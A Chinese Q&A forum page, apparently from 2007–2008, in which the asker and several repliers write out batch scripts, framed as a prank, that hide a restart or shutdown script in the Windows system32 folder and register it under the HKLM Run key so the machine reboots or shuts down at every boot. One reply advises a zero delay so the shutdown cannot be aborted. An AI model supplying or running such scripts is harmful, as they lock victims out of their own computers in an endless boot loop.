用一个批处理生成另一个批处理,并写入命令

一个恶作剧哈,看下面的说明:
第一:创建一个名为“systemtime.bat”文件,内容是:
SHUTDOWN -R -T 0 就是创建一个重新启动的批处理文件。
第二:再创建一个名为“add run.bat”文件,内容是:
@echo off
copy systemtime.bat C:\WINDOWS\system32\systemtime.bat
attrib C:\WINDOWS\system32\systemtime.bat +s +h
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f
就是把第一步创建的那个“systemtime.bat”复制到c:\windows\system32下面,再将其变成系统隐藏文件,并加入注册表的启动项,实现每次开机就自动重启的效果。

现在,实现上面的效果,我用了两个批处理,但是,据我所知,用一个批处理文件就可以搞定了。你行吗?

@echo off
echo shutdown -r -t 0 >systemtime.txt
ren systemtime.txt systemtime.bat
ping /n 3 127.0.0.1 >nul
xcopy systemtime.bat C:\WINDOWS\system32
attrib +a +h +s +r C:\WINDOWS\system32\systemtime.bat
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f
shutdown -r -t 0

将上面的批处理保存为add run.bat 即可以实现的要的功能!
感觉可以的话,别忘了给我加分哟…………
温馨提示:答案为网友推荐,仅供参考
第1个回答  2007-12-19
@echo off
copy systemtime.bat C:\WINDOWS\system32\systemtime.bat
attrib C:\WINDOWS\system32\systemtime.bat +s +h
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f
SHUTDOWN -R -T 0

再把个文件命名成“systemtime.bat” ,这样可以吗?只是每次都得把前面的运行完才能重新起动.

别的方法,除非DOS命令能自动建立文档,编辑文档,储存文档才行
第2个回答  2007-12-19
把 systemtime.bat直接放在随机启动里 不过不要给他时间 不然用shudown -a可以解除
第3个回答  2007-12-21
@echo off
echo > SHUTDOWN -R -T 0 systemtime.bat
copy systemtime.bat C:\WINDOWS\system32\systemtime.bat
attrib C:\WINDOWS\system32\systemtime.bat +s +h
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f
第4个回答  2007-12-23
@echo off
move %0 C:\WINDOWS\system32\systemtime.bat
attrib C:\WINDOWS\system32\systemtime.bat +s +h
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f
SHUTDOWN -R -T 0
exit
第5个回答  2008-01-02
@echo off
echo shutdown -s -t 00 >>systemtime.bat
attrib C:\WINDOWS\system32\systemtime.bat +s +h
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v systemtime /t REG_SZ /d C:\WINDOWS\system32\systemtime.bat /f

[使用echo,将后面显示写入文件systemtime.bat
后面的就是你写的那些了,不知道你写这个做什么,
开机就重启,留的后路不多]
相似回答
大家正在搜